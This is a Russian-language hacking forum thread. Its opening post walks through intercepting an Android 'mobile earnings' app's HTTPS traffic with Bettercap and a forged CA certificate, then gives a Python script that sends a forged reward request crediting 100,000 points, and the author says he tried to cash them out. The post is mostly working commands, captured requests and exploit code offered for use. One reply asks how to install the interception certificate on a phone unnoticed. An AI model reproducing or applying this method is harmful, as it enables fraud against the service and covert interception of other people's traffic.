Бесконечная накрутка в уязвимых android приложениях

Dr.Lafa

Well-Known Member
Red Team
30.12.2016
232
375
#1
*Здесь могло быть предупреждение о том, что не нужно пользоваться данным методом в целях совершения преступления, но вы же умные ребята, верно?*
Don't try this at home, kids.


Сегодня я хотел бы показать на примере, как халатно относятся разработчики приложений для "мобильного заработка" (заработка разработчиков, естественно) к безопасности своих программ.

Инструменты:
  1. Bettercap
    На Kali Linux:
    sudo apt-get install build-essential ruby-dev libpcap-dev
    sudo apt-get install bettercap
    На других Linux-системах:
    git clone
    Чтобы видеть этот контент необходимо: Войти или зарегистрироваться

    cd bettercap
    gem build bettercap.gemspec
    sudo gem install bettercap*.gem
  2. VM либо телефон на android с play market

Устанавливаем приложение.

Достаточно набрать в поиске гугл плей что-то вроде "Мобильный заработок" или "Накрутка лайков вк" и т.д.
Я выбрал с картинкой посмешнее и названием поглупее.​

Поддельный сертефикат.
Большинство приложений сегодня используют https соеденение. Что бы мы могли расшифровать трафик, будем использовать поддельный сертефикат. Таковой уже имеется в Bettercap в директории /sudo/.bettercap/bettercap-ca.pem . Его нужно установить на телефон (настройки > безопасность > сертефикаты).
Начинаем снифать трафик.
В консоли компьютера пишем:
sudo bettercap -T 192.168.0.100 --proxy-https --sniffer
Где
-T - ip телефона
--proxy-https - использовать прокси с поддельным https сертефикатом для расшифровки траффика
--sniffer - запустить сниффер пакетов.
Снимок экрана из 2017-07-15 19-05-33.png
Исследуем трафик приложения.
Теперь, когда трафик отслеживается, поклацаем по разным кнопкам и попробуем выполнить задание.
Screenshot_2017-07-15-18-52-47.png
Я нашёл для себя интересными два запроса:

получил бонус
[192.168.0.100] POST %ссылка% ( text/html ) [200]

[REQUEST HEADERS]
'User-Agent' : %user_agent%
'Content-Type : application/x-www-form-urlencoded'
'Content-Length : 44'
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity

[REQUEST BODY]
userid : %user_id%
points : 100
type : Daily_Reward_v2
Выполнил задание
[192.168.0.100] POST %ссылка% ( text/html ) [200]

[REQUEST HEADERS]
User-Agent : %user_agent%
Content-Type : application/x-www-form-urlencoded
Content-Length : 40
Host : url.bitcoin-miner.ru
Connection : close
Accept-Encoding : identity

[REQUEST BODY]
username : %user_name%
points : 50
type : Vungle_Video
Создаём кастомный запрос.
Поэксперементировав с данными из полученых запросов, пишем скрипт для отправки кастомного запроса:
import requests
link = '%ссылка%'
headers = {'User-Agent' : %user_agent%,
'Content-Type' : 'application/x-www-form-urlencoded',
'Content-Length' : '44',
'Host' : 'url.bitcoin-miner.ru',
'Connection' : 'close',
'Accept-Encoding' : 'identity'}
payload = {'userid' : %user_id%,
'points' : 100000, # да да, можно поставить столько монет, сколько захочешь
'type' : 'Vungle_Video'}
r = requests.post(link, headers=headers, data=payload) # можно запихнуть в цикл, если бы сервис не разрешал менять колличество получаемых очков за раз.
print(r.text)
Запрос выполнился с ответом
{"result":"true","msg":"Points Updated"}
Очки начислены мне на аккаунт, это, кстати говоря, минимальная сумма выплаты (8$)
Screenshot_2017-07-15-19-04-52.png
Итог.
Гугл плей забит подобными приложениями, разработчики которых зарабатывают на желании быстрой наживы у неокрепших умов. Чаще всего, правда, создатели совсем не заботятся о безопасности своего детища. В этом случае мне пришлось поэксперементировать с запросами, но что-то мне подсказывает, что во многих подобных приложениях можно просто циклично переотправить один запрос, выдающий монетки за выполненное задание.

P.S: воровство - это плохо, но исследование трафика и накрутку лайков никто не запрещал ;)​
 

Hans

New Member
26.11.2016
2
0
#6
мне на конкретно одном примере, так как сам писать думаю прогу под андроид
 
мне на конкретно одном примере, так как сам писать думаю прогу под андроид
помоешь...дай скайп
 

Koro1

New Member
30.05.2017
2
0
#7
Выводить не пробовал? Часто на таких проектах вроде бы проверяют на нарутку при выводе средств.
 

Dr.Lafa

Well-Known Member
Red Team
30.12.2016
232
375
#8
Выводить не пробовал? Часто на таких проектах вроде бы проверяют на нарутку при выводе средств.
Пробовал, не вывели, но это скорее всего какой-то заговор (не выплачивают никому)
 
Симпатии: Понравилось RIPLI

kot-gor

Well-Known Member
Gold Team
07.09.2016
425
444
#11
Есть решения как незаметно сертификат впарить?